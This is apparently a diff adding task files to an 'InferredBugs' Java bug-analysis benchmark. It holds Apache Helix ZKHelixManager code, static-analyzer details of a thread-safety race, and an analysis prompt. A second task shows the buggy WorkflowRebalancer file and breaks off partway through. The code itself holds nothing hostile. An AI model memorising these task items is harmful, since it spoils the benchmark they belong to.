+         * which means this listener has not yet handled new session, so we have to handle new
+         * session here just for this listener.
+         */
+        handleNewSession(ZKUtil.toHexSessionId(sessionId));
+        break;
+      } catch (HelixException e) {
+        LOG.error("fail to createClient.", e);
+        throw e;
+      } catch (Exception e) {
+        retryCount++;
+        LOG.error("fail to createClient. retry " + retryCount, e);
+        if (retryCount == 3) {
+          throw e;
+        }
+      }
+    }
+  }
+
+  @Override
+  public void connect() throws Exception {
+    LOG.info("ClusterManager.connect()");
+    if (isConnected()) {
+      LOG.warn("Cluster manager: " + _instanceName + " for cluster: " + _clusterName
+          + " already connected. skip connect");
+      return;
+    }
+
+    switch (_instanceType) {
+    case CONTROLLER:
+    case CONTROLLER_PARTICIPANT:
+      if (_controller == null) {
+        _controller = new GenericHelixController(_clusterName, _enabledPipelineTypes);
+        _messagingService.getExecutor().setController(_controller);
+      }
+      break;
+    default:
+      break;
+    }
+
+    try {
+      createClient();
+      _messagingService.onConnected();
+    } catch (Exception e) {
+      LOG.error("fail to connect " + _instanceName, e);
+      try {
+        disconnect();
+      } catch (Exception ex) {
+        // if zk connection fails to be created, disconnect may throw exception about reporting disconnect to ZK.
+      }
+      throw e;
+    }
+  }
+
+  @Override
+  public void disconnect() {
+    if (_zkclient == null || _zkclient.isClosed()) {
+      LOG.info("instanceName: " + _instanceName + " already disconnected");
+      return;
+    }
+
+    LOG.info("disconnect " + _instanceName + "(" + _instanceType + ") from " + _clusterName);
+
+    try {
+      /**
+       * stop all timer tasks
+       */
+      stopTimerTasks();
+
+      /**
+       * shutdown thread pool first to avoid reset() being invoked in the middle of state
+       * transition
+       */
+      _messagingService.getExecutor().shutdown();
+
+      // TODO reset user defined handlers only
+      // TODO Fix the issue that when connection disconnected, reset handlers will be blocked. -- JJ
+      // This is because reset logic contains ZK operations.
+      resetHandlers(true);
+
+      if (_leaderElectionHandler != null) {
+        _leaderElectionHandler.reset(true);
+      }
+
+    } finally {
+      GenericHelixController controller = _controller;
+      if (controller != null) {
+        try {
+          controller.shutdown();
+        } catch (InterruptedException e) {
+          LOG.info("Interrupted shutting down GenericHelixController", e);
+        }
+      }
+
+      ParticipantManager participantManager = _participantManager;
+      if (participantManager != null) {
+        participantManager.disconnect();
+      }
+
+      for (HelixCallbackMonitor callbackMonitor : _callbackMonitors.values()) {
+        callbackMonitor.unregister();
+      }
+
+      _helixPropertyStore = null;
+
+      synchronized (this) {
+        if (_controller != null) {
+          _controller = null;
+          _leaderElectionHandler = null;
+        }
+
+        if (_participantManager != null) {
+          _participantManager = null;
+        }
+
+        if (_zkclient != null) {
+          _zkclient.close();
+        }
+      }
+      _sessionStartTime = null;
+      LOG.info("Cluster manager: " + _instanceName + " disconnected");
+    }
+  }
+
+  @Override
+  public String getSessionId() {
+    checkConnected(_waitForConnectedTimeout);
+    // TODO: session id should be updated after zk client is connected.
+    // Otherwise, this session id might be an expired one.
+    return _sessionId;
+  }
+
+  @Override
+  public boolean isConnected() {
+    if (_zkclient == null || _zkclient.isClosed()) {
+      return false;
+    }
+    // Don't check ZkConnection state, which is different from ZkClient's watcher state.
+    // ZkConnection state is the internal state of the connection, which can be different from the
+    // ZkClient state due to internal thread/retry logic.
+    try {
+      return _zkclient.waitUntilConnected(0, TimeUnit.MILLISECONDS);
+    } catch (ZkInterruptedException ex) {
+      return false;
+    }
+  }
+
+  @Override
+  public long getLastNotificationTime() {
+    return 0;
+  }
+
+  @Override
+  public void addPreConnectCallback(PreConnectCallback callback) {
+    LOG.info("Adding preconnect callback: " + callback);
+    _preConnectCallbacks.add(callback);
+  }
+
+  @Override
+  public boolean isLeader() {
+    String warnLogPrefix = String
+        .format("Instance %s is not leader of cluster %s due to", _instanceName, _clusterName);
+    if (_instanceType != InstanceType.CONTROLLER
+        && _instanceType != InstanceType.CONTROLLER_PARTICIPANT) {
+      LOG.warn(String
+          .format("%s instance type %s does not match to CONTROLLER/CONTROLLER_PARTICIPANT",
+              warnLogPrefix, _instanceType.name()));
+      return false;
+    }
+
+    if (!isConnected()) {
+      LOG.warn(String.format("%s HelixManager is not connected", warnLogPrefix));
+      return false;
+    }
+
+    try {
+      LiveInstance leader = _dataAccessor.getProperty(_keyBuilder.controllerLeader());
+      if (leader != null) {
+        String leaderName = leader.getInstanceName();
+        String sessionId = leader.getEphemeralOwner();
+        if (leaderName != null && leaderName.equals(_instanceName) && sessionId
+            .equals(_sessionId)) {
+          return true;
+        }
+        LOG.warn(String
+            .format("%s current session %s does not match leader session %s", warnLogPrefix,
+                _sessionId, sessionId));
+      } else {
+        LOG.warn(String.format("%s leader ZNode is null", warnLogPrefix));
+      }
+    } catch (Exception e) {
+      LOG.warn(String.format("%s exception happen when session check", warnLogPrefix), e);
+    }
+    return false;
+  }
+
+  @Override
+  public synchronized ZkHelixPropertyStore<ZNRecord> getHelixPropertyStore() {
+    checkConnected(_waitForConnectedTimeout);
+
+    if (_helixPropertyStore == null) {
+      String path = PropertyPathBuilder.propertyStore(_clusterName);
+      String fallbackPath = String.format("/%s/%s", _clusterName, "HELIX_PROPERTYSTORE");
+      _helixPropertyStore =
+          new AutoFallbackPropertyStore<>(new ZkBaseDataAccessor<>(_zkclient),
+              path, fallbackPath);
+    }
+
+    return _helixPropertyStore;
+  }
+
+  @Override
+  public synchronized HelixAdmin getClusterManagmentTool() {
+    checkConnected(_waitForConnectedTimeout);
+    if (_zkclient != null && !_zkclient.isClosed()) {
+      return new ZKHelixAdmin(_zkclient);
+    }
+
+    LOG.error("Couldn't get ZKClusterManagementTool because zkclient is null");
+    return null;
+  }
+
+  @Override
+  public ClusterMessagingService getMessagingService() {
+    // The caller can register message handler factories on messaging service before the
+    // helix manager is connected. Thus we do not do connected check here.
+    return _messagingService;
+  }
+
+  @Override
+  public InstanceType getInstanceType() {
+    return _instanceType;
+  }
+
+  @Override
+  public String getVersion() {
+    return _version;
+  }
+
+  @Override
+  public HelixManagerProperties getProperties() {
+    return _properties;
+  }
+
+  @Override
+  public StateMachineEngine getStateMachineEngine() {
+    return _stateMachineEngine;
+  }
+
+  // TODO: rename this and not expose this function as part of interface
+  @Override
+  public void startTimerTasks() {
+    for (HelixTimerTask task : _timerTasks) {
+      task.start();
+    }
+  }
+
+  @Override
+  public void stopTimerTasks() {
+    for (HelixTimerTask task : _timerTasks) {
+      task.stop();
+    }
+  }
+
+  @Override
+  public void setLiveInstanceInfoProvider(LiveInstanceInfoProvider liveInstanceInfoProvider) {
+    _liveInstanceInfoProvider = liveInstanceInfoProvider;
+  }
+
+  /**
+   * wait until we get a non-zero session-id. note that we might lose zkconnection
+   * right after we read session-id. but it's ok to get stale session-id and we will have
+   * another handle-new-session callback to correct this.
+   */
+  void waitUntilConnected() {
+    boolean isConnected;
+    do {
+      isConnected =
+          _zkclient.waitUntilConnected(HelixZkClient.DEFAULT_CONNECTION_TIMEOUT, TimeUnit.MILLISECONDS);
+      if (!isConnected) {
+        LOG.error("fail to connect zkserver: " + _zkAddress + " in "
+            + HelixZkClient.DEFAULT_CONNECTION_TIMEOUT + "ms. expiredSessionId: " + _sessionId
+            + ", clusterName: " + _clusterName);
+        continue;
+      }
+
+      _sessionId = ZKUtil.toHexSessionId(_zkclient.getSessionId());
+
+      /**
+       * at the time we read session-id, zkconnection might be lost again
+       * wait until we get a non-zero session-id
+       */
+    } while (!isConnected || "0".equals(_sessionId));
+
+    LOG.info("Handling new session, session id: " + _sessionId + ", instance: " + _instanceName
+        + ", instanceTye: " + _instanceType + ", cluster: " + _clusterName);
+  }
+
+  void initHandlers(List<CallbackHandler> handlers) {
+    synchronized (this) {
+      if (handlers != null) {
+        // get a copy of the list and iterate over the copy list
+        // in case handler.init() modifies the original handler list
+        List<CallbackHandler> tmpHandlers = new ArrayList<>(handlers);
+        for (CallbackHandler handler : tmpHandlers) {
+          handler.init();
+          LOG.info("init handler: " + handler.getPath() + ", " + handler.getListener());
+        }
+      }
+    }
+  }
+
+  void resetHandlers(boolean isShutdown) {
+    synchronized (this) {
+      if (_handlers != null) {
+        // get a copy of the list and iterate over the copy list
+        // in case handler.reset() modifies the original handler list
+        List<CallbackHandler> tmpHandlers = new ArrayList<>(_handlers);
+        for (CallbackHandler handler : tmpHandlers) {
+          handler.reset(isShutdown);
+          LOG.info("reset handler: " + handler.getPath() + ", " + handler.getListener());
+        }
+      }
+    }
+  }
+
+  /**
+   * If zk state has changed into Disconnected for maxDisconnectThreshold times during previous
+   * timeWindowLengthMs Ms
+   * time window, we think that there are something wrong going on and disconnect the zkHelixManager
+   * from zk.
+   */
+  boolean isFlapping() {
+    if (_disconnectTimeHistory.size() == 0) {
+      return false;
+    }
+    long mostRecentTimestamp = _disconnectTimeHistory.get(_disconnectTimeHistory.size() - 1);
+
+    // Remove disconnect history timestamp that are older than flappingTimeWindowMs ago
+    while ((_disconnectTimeHistory.get(0) + _flappingTimeWindowMs) < mostRecentTimestamp) {
+      _disconnectTimeHistory.remove(0);
+    }
+    return _disconnectTimeHistory.size() > _maxDisconnectThreshold;
+  }
+
+  @Override
+  public void handleStateChanged(KeeperState state) {
+    switch (state) {
+    case SyncConnected:
+      LOG.info("KeeperState: " + state + ", instance: " + _instanceName + ", type: " + _instanceType);
+      break;
+    case Disconnected:
+      /**
+       * Track the time stamp that the disconnected happens, then check history and see if
+       * we should disconnect the helix-manager
+       */
+      _disconnectTimeHistory.add(System.currentTimeMillis());
+      if (isFlapping()) {
+        String errorMsg = "instanceName: " + _instanceName + " is flapping. disconnect it. "
+            + " maxDisconnectThreshold: " + _maxDisconnectThreshold + " disconnects in "
+            + _flappingTimeWindowMs + "ms.";
+        LOG.error(errorMsg);
+
+        // Only disable the instance when it's instance type is PARTICIPANT
+        if (_instanceType.equals(InstanceType.PARTICIPANT)) {
+          LOG.warn("instanceName: " + _instanceName
+              + " is flapping. Since it is a participant, disable it.");
+          try {
+            getClusterManagmentTool().enableInstance(_clusterName, _instanceName, false);
+          } catch (Exception e) {
+            LOG.error("Failed to disable participant before disconnecting participant.", e);
+          }
+        }
+
+        try {
+          // TODO Call disconnect in another thread.
+          // handleStateChanged is triggered in ZkClient eventThread. The disconnect logic will
+          // interrupt this thread. This issue prevents the ZkClient.close() from complete. So the
+          // client is left in a strange state.
+          disconnect();
+        } catch (Exception ex) {
+          LOG.error("Disconnect HelixManager is not completely done.", ex);
+        }
+
+        if (_stateListener != null) {
+          try {
+            _stateListener.onDisconnected(this, new HelixException(errorMsg));
+          } catch (Exception e) {
+            LOG.warn("stateListener.onDisconnected callback fails", e);
+          }
+        }
+        break;
+      }
+    // if not flapping, share the continuous logic with Expired case
+    case Expired:
+      LOG.warn("KeeperState:" + state + ", SessionId: " + _sessionId + ", instance: "
+          + _instanceName + ", type: " + _instanceType);
+      break;
+    default:
+      LOG.info("KeeperState:" + state + ", currentSessionId: " + _sessionId + ", instance: "
+          + _instanceName + ", type: " + _instanceType);
+      break;
+    }
+  }
+
+  /**
+   * Called after zookeeper session has expired and a new session has been established. This method
+   * may cause session race condition when creating ephemeral nodes. Internally, this method calls
+   * {@link #handleNewSession(String)} with a null value as the sessionId parameter, which results
+   * in later creating the ephemeral node in the session of the latest zk connection.
+   * But please note that the session of the latest zk connection might not be the expected session.
+   * This is the session race condition issue.
+   *
+   * To avoid the race condition issue, please use {@link #handleNewSession(String)}.
+   *
+   * @deprecated
+   * This method is deprecated, because it may cause session race condition when creating ephemeral
+   * nodes. It is kept for backward compatibility in case a user class extends this class.
+   *
+   * Please use {@link #handleNewSession(String)} instead, which takes care of race condition.
+   *
+   * @throws Exception If any error occurs.
+   */
+  @Deprecated
+  public void handleNewSession() throws Exception {
+    handleNewSession(null);
+  }
+
+  /**
+   * Called after the zookeeper session has expired and a new session has been established. This
+   * methods handles a new session with its session id passed in. Before handling, this method
+   * waits until zk client is connected to zk service and gets a non-zero session id(current actual
+   * session id). If the passed-in(expected) session id does not match current actual session id,
+   * the expected session id is expired and will NOT be handled.
+   *
+   * @param sessionId the new session's id. The ephemeral nodes are expected to be created in this
+   *                  session. If this session id is expired, ephemeral nodes should not be created.
+   * @throws Exception if any error occurs during handling new session
+   */
+  @Override
+  public void handleNewSession(String sessionId) throws Exception {
+    /*
+     * TODO: after removing I0ItecIZkStateListenerImpl, null session should be checked and
+     *  discarded.
+     * Null session is still a special case here, which is treated as non-session aware operation.
+     * This special case could still potentially cause race condition, so null session should NOT
+     * be acceptable, once I0ItecIZkStateListenerImpl is removed. Currently this special case
+     * is kept for backward compatibility.
+     */
+
+    // Wait until we get a non-zero session id. Otherwise, getSessionId() might be null.
+    waitUntilConnected();
+
+    /*
+     * Filter out stale sessions. If a session id is not null and not the same as current session
+     * id, this session is expired. With this filtering, expired sessions are NOT handled,
+     * so performance is expected to improve.
+     */
+    if (sessionId != null && !getSessionId().equals(sessionId)) {
+      LOG.warn("Session is expired and not handled. Expected: {}. Actual: {}.", sessionId,
+          getSessionId());
+      return;
+    }
+
+    /*
+     * When a null session id is passed in, we will take current session's id for following
+     * operations. Please note that current session might not be the one we expect to handle,
+     * because the one we expect might be already expired when the zk event is waiting in the
+     * event queue. Why we use current session here is for backward compatibility with the old
+     * method handleNewSession().
+     */
+    if (sessionId == null) {
+      sessionId = getSessionId();
+      LOG.debug("Session id: <null> is passed in. Current session id: {} will be used.", sessionId);
+    }
+
+    LOG.info("Handle new session, instance: {}, type: {}, session id: {}.", _instanceName,
+        _instanceType,  sessionId);
+
+    /**
+     * stop all timer tasks, reset all handlers, make sure cleanup completed for previous session
+     * disconnect if fail to cleanup
+     */
+    stopTimerTasks();
+    if (_leaderElectionHandler != null) {
+      _leaderElectionHandler.reset(false);
+    }
+    resetHandlers(false);
+
+    /**
+     * clean up write-through cache
+     */
+    _baseDataAccessor.reset();
+
+    /**
+     * from here on, we are dealing with new session
+     */
+    if (!ZKUtil.isClusterSetup(_clusterName, _zkclient)) {
+      throw new HelixException("Cluster structure is not set up for cluster: " + _clusterName);
+    }
+
+    _sessionStartTime = System.currentTimeMillis();
+
+    switch (_instanceType) {
+    case PARTICIPANT:
+      handleNewSessionAsParticipant(sessionId);
+      break;
+    case CONTROLLER:
+      handleNewSessionAsController();
+      break;
+    case CONTROLLER_PARTICIPANT:
+      handleNewSessionAsParticipant(sessionId);
+      handleNewSessionAsController();
+      break;
+    case ADMINISTRATOR:
+    case SPECTATOR:
+    default:
+      break;
+    }
+
+    startTimerTasks();
+
+    /**
+     * init handlers
+     * ok to init message handler and data-accessor twice
+     * the second init will be skipped (see CallbackHandler)
+     */
+    initHandlers(_handlers);
+
+    if (_stateListener != null) {
+      try {
+        _stateListener.onConnected(this);
+      } catch (Exception e) {
+        LOG.warn("stateListener.onConnected callback fails", e);
+      }
+    }
+  }
+
+  void handleNewSessionAsParticipant(final String sessionId) throws Exception {
+    if (_participantManager != null) {
+      _participantManager.reset();
+    }
+    _participantManager =
+        new ParticipantManager(this, _zkclient, _sessionTimeout, _liveInstanceInfoProvider,
+            _preConnectCallbacks, sessionId, _helixManagerProperty);
+    _participantManager.handleNewSession();
+  }
+
+  // TODO: pass in session id and make this method session aware to avoid potential session race
+  //  condition.
+  void handleNewSessionAsController() {
+    if (_leaderElectionHandler != null) {
+      _leaderElectionHandler.init();
+    } else {
+      _leaderElectionHandler =
+          new CallbackHandler(this, _zkclient, _keyBuilder.controller(),
+              new DistributedLeaderElection(this, _controller, _controllerTimerTasks),
+              new EventType[] {
+                  EventType.NodeChildrenChanged, EventType.NodeDeleted, EventType.NodeCreated
+              }, ChangeType.CONTROLLER, _callbackMonitors.get(ChangeType.CONTROLLER));
+    }
+  }
+
+  @Override
+  public ParticipantHealthReportCollector getHealthReportCollector() {
+    return _participantHealthInfoCollector;
+  }
+
+  @Override
+  public void handleSessionEstablishmentError(Throwable error) throws Exception {
+    LOG.warn("Handling Session Establishment Error. Disconnect Helix Manager.", error);
+    disconnect();
+
+    if (_stateListener != null) {
+      _stateListener.onDisconnected(this, error);
+    }
+  }
+
+  @Override
+  public Long getSessionStartTime() {
+    return _sessionStartTime;
+  }
+
+  /*
+   * Prepares connection config and client config based on the internal parameters given to
+   * HelixManager in order to create a ZkClient instance to use. Note that a shared ZkClient
+   * instance will be created if connecting as an ADMINISTRATOR to minimize the cost of creating
+   * ZkConnections.
+   */
+  private RealmAwareZkClient createSingleRealmZkClient() {
+    final String shardingKey = buildShardingKey();
+    PathBasedZkSerializer zkSerializer =
+        ChainedPathZkSerializer.builder(new ZNRecordSerializer()).build();
+
+    RealmAwareZkClient.RealmAwareZkConnectionConfig connectionConfig =
+        new RealmAwareZkClient.RealmAwareZkConnectionConfig.Builder()
+            .setRealmMode(RealmAwareZkClient.RealmMode.SINGLE_REALM)
+            .setZkRealmShardingKey(shardingKey)
+            .setSessionTimeout(_sessionTimeout).build();
+
+    RealmAwareZkClient.RealmAwareZkClientConfig clientConfig =
+        new RealmAwareZkClient.RealmAwareZkClientConfig();
+
+    clientConfig.setZkSerializer(zkSerializer)
+        .setConnectInitTimeout(_connectionInitTimeout)
+        .setMonitorType(_instanceType.name())
+        .setMonitorKey(_clusterName)
+        .setMonitorInstanceName(_instanceName)
+        .setMonitorRootPathOnly(isMonitorRootPathOnly());
+
+    if (_instanceType == InstanceType.ADMINISTRATOR) {
+      return resolveZkClient(SharedZkClientFactory.getInstance(), connectionConfig,
+          clientConfig);
+    }
+
+    return resolveZkClient(DedicatedZkClientFactory.getInstance(), connectionConfig,
+        clientConfig);
+  }
+
+  /*
+   * Resolves what type of ZkClient this HelixManager should use based on whether MULTI_ZK_ENABLED
+   * System config is set or not. Two types of ZkClients are available:
+   * 1) If MULTI_ZK_ENABLED is set to true, we create a dedicated RealmAwareZkClient
+   * that provides full ZkClient functionalities and connects to the correct ZK by querying
+   * MetadataStoreDirectoryService.
+   * 2) Otherwise, we create a dedicated HelixZkClient which plainly connects to
+   * the ZK address given.
+   */
+  private RealmAwareZkClient resolveZkClient(HelixZkClientFactory zkClientFactory,
+      RealmAwareZkClient.RealmAwareZkConnectionConfig connectionConfig,
+      RealmAwareZkClient.RealmAwareZkClientConfig clientConfig) {
+    if (Boolean.getBoolean(SystemPropertyKeys.MULTI_ZK_ENABLED)) {
+      try {
+        // Create realm-aware ZkClient.
+        return zkClientFactory.buildZkClient(connectionConfig, clientConfig);
+      } catch (IllegalArgumentException | IOException | InvalidRoutingDataException e) {
+        throw new HelixException("Not able to connect on realm-aware mode for sharding key: "
+            + connectionConfig.getZkRealmShardingKey(), e);
+      }
+    }
+
+    // If multi-zk mode is not enabled, create HelixZkClient with the provided zk address.
+    HelixZkClient.ZkClientConfig helixZkClientConfig = clientConfig.createHelixZkClientConfig();
+    HelixZkClient.ZkConnectionConfig helixZkConnectionConfig =
+        new HelixZkClient.ZkConnectionConfig(_zkAddress)
+            .setSessionTimeout(connectionConfig.getSessionTimeout());
+
+    return zkClientFactory.buildZkClient(helixZkConnectionConfig, helixZkClientConfig);
+  }
+
+  private String buildShardingKey() {
+    return _clusterName.charAt(0) == '/' ? _clusterName : "/" + _clusterName;
+  }
+}
+
+```
+
+### Bug Class:
+PROVER
+
+### Kind:
+ERROR
+
+### Bug Type:
+THREAD_SAFETY_VIOLATION
+
+### Qualifier:
+Read/Write race. Non-private method `org.apache.helix.manager.zk.ZKHelixManager.createClient` indirectly reads with synchronization from `record.org.apache.helix.zookeeper.datamodel.ZNRecord._creationTime`. Potentially races with unsynchronized write in method `ZKHelixManager.disconnect()`.
+ Reporting because this access may occur on a background thread.
+
+### Severity:
+HIGH
+
+### Visibility:
+user
+
+### Procedure:
+void ZKHelixManager.createClient()
+
+### Procedure Id:
+org.apache.helix.manager.zk.ZKHelixManager.createClient():void.121b2e04dedc8530eb906785a84cdf38
+
+### File:
+helix-core/src/main/java/org/apache/helix/manager/zk/ZKHelixManager.java
+
+### Key:
+ZKHelixManager.java|createClient|THREAD_SAFETY_VIOLATION
+
+### Node Key:
+9c5d6d9028928346cc4fb44cced5dea1
+
+### Hash:
+65d224aa8fe49e3f6706a9c5a93f38c1
+
+### Bug Type Hum:
+Thread Safety Violation
+
+## Task
+
+Analyze the bug information provided above. Your task is to:
+
+1. **Understand the Bug**: Examine the buggy code and identify what the issue was
+2. **Analyze the Root Cause**: Determine why this bug occurred (logic error, edge case, etc.)
+3. **Evaluate the Fix**: Understand how the after code addresses the issue
+4. **Code Review**: Provide insights on code quality, potential improvements, and best practices
+
+### Analysis Questions:
+- What was the specific bug or issue in the original code?
+- What scenarios would trigger this bug?
+- How does the fix address the root cause?
+- Are there any potential edge cases the fix might miss?
+- What coding practices could have prevented this bug?
+- Are there alternative ways to implement the fix?
+
+Use the provided environment to explore, test, or reproduce the bug if needed.
diff --git a/inferredbugs-9628/instruction.md b/inferredbugs-9628/instruction.md
new file mode 100644
index 0000000000000000000000000000000000000000..3b84e974e0fc4295468c642e8424b140002e90d9
--- /dev/null
+++ b/inferredbugs-9628/instruction.md
@@ -0,0 +1,486 @@
+# InferredBugs Task - Java
+
+## Project Information
+
+**Project:** helix
+**Bug ID:** 41
+**Language:** java
+
+## Bug Information
+
+### File-Level Changes:
+
+**Before (Buggy File):**
+```java
+package org.apache.helix.task;
+
+/*
+ * Licensed to the Apache Software Foundation (ASF) under one
+ * or more contributor license agreements.  See the NOTICE file
+ * distributed with this work for additional information
+ * regarding copyright ownership.  The ASF licenses this file
+ * to you under the Apache License, Version 2.0 (the
+ * "License"); you may not use this file except in compliance
+ * with the License.  You may obtain a copy of the License at
+ *
+ *   http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing,
+ * software distributed under the License is distributed on an
+ * "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY
+ * KIND, either express or implied.  See the License for the
+ * specific language governing permissions and limitations
+ * under the License.
+ */
+
+import org.I0Itec.zkclient.DataUpdater;
+import org.apache.helix.*;
+import org.apache.helix.controller.stages.ClusterDataCache;
+import org.apache.helix.controller.stages.CurrentStateOutput;
+import org.apache.helix.model.*;
+import org.apache.helix.model.builder.CustomModeISBuilder;
+import org.apache.log4j.Logger;
+
+import java.text.DateFormat;
+import java.text.SimpleDateFormat;
+import java.util.*;
+
+/**
+ * Custom rebalancer implementation for the {@code Workflow} in task state model.
+ */
+public class WorkflowRebalancer extends TaskRebalancer {
+  private static final Logger LOG = Logger.getLogger(WorkflowRebalancer.class);
+
+  @Override
+  public ResourceAssignment computeBestPossiblePartitionState(ClusterDataCache clusterData,
+      IdealState taskIs, Resource resource, CurrentStateOutput currStateOutput) {
+    final String workflow = resource.getResourceName();
+    LOG.debug("Computer Best Partition for workflow: " + workflow);
+
+    // Fetch workflow configuration and context
+    WorkflowConfig workflowCfg = TaskUtil.getWorkflowCfg(_manager, workflow);
+    if (workflowCfg == null) {
+      LOG.warn("Workflow configuration is NULL for " + workflow);
+      return buildEmptyAssignment(workflow, currStateOutput);
+    }
+
+    WorkflowContext workflowCtx = TaskUtil.getWorkflowContext(_manager, workflow);
+    // Initialize workflow context if needed
+    if (workflowCtx == null) {
+      workflowCtx = new WorkflowContext(new ZNRecord("WorkflowContext"));
+      workflowCtx.setStartTime(System.currentTimeMillis());
+      LOG.debug("Workflow context is created for " + workflow);
+    }
+
+    // Clean up if workflow marked for deletion
+    TargetState targetState = workflowCfg.getTargetState();
+    if (targetState == TargetState.DELETE) {
+      LOG.info("Workflow is marked as deleted " + workflow + " cleaning up the workflow context.");
+      cleanupWorkflow(workflow, workflowCfg, workflowCtx);
+      return buildEmptyAssignment(workflow, currStateOutput);
+    }
+
+    if (targetState == TargetState.STOP) {
+      LOG.info("Workflow " + workflow + "is marked as stopped.");
+      // Workflow has been stopped if all jobs are stopped
+      // TODO: what should we do if workflowCtx is not set yet?
+      if (workflowCtx != null && isWorkflowStopped(workflowCtx, workflowCfg)) {
+        workflowCtx.setWorkflowState(TaskState.STOPPED);
+      }
+      return buildEmptyAssignment(workflow, currStateOutput);
+    }
+
+    long currentTime = System.currentTimeMillis();
+    // Check if workflow is completed and mark it if it is completed.
+    if (workflowCtx.getFinishTime() == WorkflowContext.UNFINISHED) {
+      if (isWorkflowComplete(workflowCtx, workflowCfg)) {
+        workflowCtx.setWorkflowState(TaskState.COMPLETED);
+        workflowCtx.setFinishTime(currentTime);
+        TaskUtil.setWorkflowContext(_manager, workflow, workflowCtx);
+      }
+    }
+
+    if (workflowCtx.getFinishTime() != WorkflowContext.UNFINISHED) {
+      LOG.info("Workflow " + workflow + " is completed.");
+      long expiryTime = workflowCfg.getExpiry();
+      // Check if this workflow has been finished past its expiry.
+      if (workflowCtx.getFinishTime() + expiryTime <= currentTime) {
+        LOG.info("Workflow " + workflow + " passed expiry time, cleaning up the workflow context.");
+        cleanupWorkflow(workflow, workflowCfg, workflowCtx);
+      } else {
+        // schedule future cleanup work
+        long cleanupTime = workflowCtx.getFinishTime() + expiryTime;
+        _scheduledRebalancer.scheduleRebalance(_manager, workflow, cleanupTime);
+      }
+      return buildEmptyAssignment(workflow, currStateOutput);
+    }
+
+    if (!isWorkflowReadyForSchedule(workflowCfg)) {
+      LOG.info("Workflow " + workflow + " is not ready to schedule");
+      // set the timer to trigger future schedule
+      _scheduledRebalancer
+          .scheduleRebalance(_manager, workflow, workflowCfg.getStartTime().getTime());
+      return buildEmptyAssignment(workflow, currStateOutput);
+    }
+
+    // Check for readiness, and stop processing if it's not ready
+    boolean isReady =
+        scheduleWorkflowIfReady(workflow, workflowCfg, workflowCtx);
+    if (isReady) {
+      // Schedule jobs from this workflow.
+      scheduleJobs(workflowCfg, workflowCtx);
+    } else {
+      LOG.debug("Workflow " + workflow + " is not ready to be scheduled.");
+    }
+
+    TaskUtil.setWorkflowContext(_manager, workflow, workflowCtx);
+    return buildEmptyAssignment(workflow, currStateOutput);
+  }
+
+  /**
+   * Figure out whether the jobs in the workflow should be run,
+   * and if it's ready, then just schedule it
+   */
+  private void scheduleJobs(WorkflowConfig workflowCfg, WorkflowContext workflowCtx) {
+    ScheduleConfig scheduleConfig = workflowCfg.getScheduleConfig();
+    if (scheduleConfig != null && scheduleConfig.isRecurring()) {
+      LOG.debug("Jobs from recurring workflow are not schedule-able");
+      return;
+    }
+
+    for (String job : workflowCfg.getJobDag().getAllNodes()) {
+      TaskState jobState = workflowCtx.getJobState(job);
+      if (jobState != null && !jobState.equals(TaskState.NOT_STARTED)) {
+        LOG.debug("Job " + job + " is already started or completed.");
+        continue;
+      }
+      // check ancestor job status
+      if (isJobReadyToSchedule(job, workflowCfg, workflowCtx)) {
+        JobConfig jobConfig = TaskUtil.getJobCfg(_manager, job);
+        scheduleSingleJob(job, jobConfig);
+      }
+    }
+  }
+
+  /**
+   * Posts new job to cluster
+   */
+  private void scheduleSingleJob(String jobResource, JobConfig jobConfig) {
+    HelixAdmin admin = _manager.getClusterManagmentTool();
+
+    IdealState jobIS = admin.getResourceIdealState(_manager.getClusterName(), jobResource);
+    if (jobIS != null) {
+      LOG.info("Job " + jobResource + " idealstate already exists!");
+      return;
+    }
+
+    // Set up job resource based on partitions from target resource
+    int numIndependentTasks = jobConfig.getTaskConfigMap().size();
+    int numPartitions = (numIndependentTasks > 0) ?
+        numIndependentTasks :
+        admin.getResourceIdealState(_manager.getClusterName(), jobConfig.getTargetResource())
+            .getPartitionSet().size();
+    admin.addResource(_manager.getClusterName(), jobResource, numPartitions,
+        TaskConstants.STATE_MODEL_NAME);
+
+    HelixDataAccessor accessor = _manager.getHelixDataAccessor();
+
+    // Set the job configuration
+    PropertyKey.Builder keyBuilder = accessor.keyBuilder();
+    HelixProperty resourceConfig = new HelixProperty(jobResource);
+    resourceConfig.getRecord().getSimpleFields().putAll(jobConfig.getResourceConfigMap());
+    Map<String, TaskConfig> taskConfigMap = jobConfig.getTaskConfigMap();
+    if (taskConfigMap != null) {
+      for (TaskConfig taskConfig : taskConfigMap.values()) {
+        resourceConfig.getRecord().setMapField(taskConfig.getId(), taskConfig.getConfigMap());
+      }
+    }
+    accessor.setProperty(keyBuilder.resourceConfig(jobResource), resourceConfig);
+
+    // Push out new ideal state based on number of target partitions
+    CustomModeISBuilder builder = new CustomModeISBuilder(jobResource);
+    builder.setRebalancerMode(IdealState.RebalanceMode.TASK);
+    builder.setNumReplica(1);
+    builder.setNumPartitions(numPartitions);
+    builder.setStateModel(TaskConstants.STATE_MODEL_NAME);
+
+    if (jobConfig.isDisableExternalView()) {
+      builder.disableExternalView();
+    }
+
+    jobIS = builder.build();
+    for (int i = 0; i < numPartitions; i++) {
+      jobIS.getRecord().setListField(jobResource + "_" + i, new ArrayList<String>());
+      jobIS.getRecord().setMapField(jobResource + "_" + i, new HashMap<String, String>());
+    }
+    jobIS.setRebalancerClassName(JobRebalancer.class.getName());
+    admin.setResourceIdealState(_manager.getClusterName(), jobResource, jobIS);
+  }
+
+  /**
+   * Check if a workflow is ready to schedule, and schedule a rebalance if it is not
+   *
+   * @param workflow the Helix resource associated with the workflow
+   * @param workflowCfg  the workflow to check
+   * @param workflowCtx  the current workflow context
+   * @return true if the workflow is ready for schedule, false if not ready
+   */
+  private boolean scheduleWorkflowIfReady(String workflow, WorkflowConfig workflowCfg,
+      WorkflowContext workflowCtx) {
+    // non-scheduled workflow is ready to run immediately.
+    if (workflowCfg == null || workflowCfg.getScheduleConfig() == null) {
+      return true;
+    }
+
+    // Figure out when this should be run, and if it's ready, then just run it
+    ScheduleConfig scheduleConfig = workflowCfg.getScheduleConfig();
+    Date startTime = scheduleConfig.getStartTime();
+    long currentTime = new Date().getTime();
+    long delayFromStart = startTime.getTime() - currentTime;
+
+    if (delayFromStart <= 0) {
+      // Recurring workflows are just templates that spawn new workflows
+      if (scheduleConfig.isRecurring()) {
+        // Skip scheduling this workflow if it's not in a start state
